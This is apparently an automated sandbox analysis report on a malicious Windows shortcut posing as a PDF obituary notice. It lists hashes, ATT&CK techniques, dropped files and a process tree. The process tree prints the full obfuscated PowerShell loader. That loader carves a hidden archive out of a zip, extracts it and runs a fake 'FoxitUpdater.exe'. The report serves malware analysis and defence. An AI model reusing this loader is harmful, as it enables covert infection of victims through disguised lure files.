5b798cf328c17ecd6a2e759c9adc695b068640226f0d4fae049bcb6470d4ae56

Analysis

max time kernel
300s
max time network
278s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/07/2026, 03:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Tin_buồn_PGĐ_Công_ty.pdf.lnk
Size 2KB
Sample260715-ebnarady8v
SHA256 5b798cf328c17ecd6a2e759c9adc695b068640226f0d4fae049bcb6470d4ae56
MD5 a3ee8569777f81a2cbce304d3ebe499e
SHA1 d784fc22d3bcacb5b2cc96390fd2a88e345df31d
SHA512 d1dc4184a2e01057829236d4fd7f03d190e59141faca6577d3d6f31a17497a456fafdeeed31af396bb96d7cbc0ed392ff7d7b26ee3e2b3f738c060fcc72ad955
TLSH
T17E41AB0126E51710F1B39A369CBFA3A1A539BAD6ED76C70E308C61484BD16085CABF37
MD5 SHA1 SHA512 TLSH

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4352	powershell.exe
4352	powershell.exe
1160	powershell.exe
1160	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	1160	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 3880	4564	cmd.exe	87
PID 3880 wrote to memory of 4352	3880	cmd.exe	88
PID 4352 wrote to memory of 4028	4352	powershell.exe	97
PID 4352 wrote to memory of 1160	4352	powershell.exe	99

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Tin_buồn_PGĐ_Công_ty.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c PoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);($kbonw = (((( lS -Pa $Home -Re -in 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'))))[0].directoryname+ '\' +'Tin_buo??n_PG?_Co?ng_ty.pdf.zip');$eiij = [SyStem.IO.File]::OpenReAd($kbonw);$uoodl='Writ'+'EAlLb' +'ytEs'; $obbqvvv = NeW-ObjEct byte[] $eiij.Length; $eiij.Read($obbqvvv, 0, $obbqvvv.Length); $eiij.Close();$rslf=975;;;;;;[SyStem.IO.FIle]::$uoodl($Home+'\\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)]);;tAR -xvf $Home\aqdk.cp -C $Home;Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe;
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);($kbonw = (((( lS -Pa $Home -Re -in 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'))))[0].directoryname+ '\' +'Tin_buo??n_PG?_Co?ng_ty.pdf.zip');$eiij = [SyStem.IO.File]::OpenReAd($kbonw);$uoodl='Writ'+'EAlLb' +'ytEs'; $obbqvvv = NeW-ObjEct byte[] $eiij.Length; $eiij.Read($obbqvvv, 0, $obbqvvv.Length); $eiij.Close();$rslf=975;;;;;;[SyStem.IO.FIle]::$uoodl($Home+'\\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)]);;tAR -xvf $Home\aqdk.cp -C $Home;Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\system32\tar.exe
      "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\aqdk.cp -C C:\Users\Admin
      4⤵
      PID:4028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\IFIR-7R-I2R8\FoxitUpdater.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1160

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4c015ed3b7666b6b05e6657f48e45f72941abfff09936d0423907511615e2425
MD5 dfcb95455887c138351bc6cc690553ca
SHA1 f036134c26a75d7d087394d58e5f51d330038ac9
SHA512 a610e6e868f2a0d24d3de8776bd34c025821476af6ffe0fd006f021a1d674a35c1a4950cfe619f993c9e477acf1ac3a3e9f5b2fa1a3cdc919497e9046d8afce7
TLSH
T1D7218637B3DC8921CC86163A109D9C1076B283C781AECF9F6FC4D604A0BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2afzxq12.3w5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2afzxq12.3w5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4352-1-0x000001C8F3D10000-0x000001C8F3D20000-memory.dmp

Download

memory/4352-0-0x000001C8F3D10000-0x000001C8F3D20000-memory.dmp

Download

memory/4352-9-0x000001C8F5F30000-0x000001C8F5F52000-memory.dmp

Download

memory/4352-10-0x000001C8F3D10000-0x000001C8F3D20000-memory.dmp

Download

memory/4352-12-0x000001C8F3D10000-0x000001C8F3D20000-memory.dmp

Download

memory/4352-11-0x000001C8F3D10000-0x000001C8F3D20000-memory.dmp

Download

memory/4352-13-0x000001C8F3D10000-0x000001C8F3D20000-memory.dmp

Download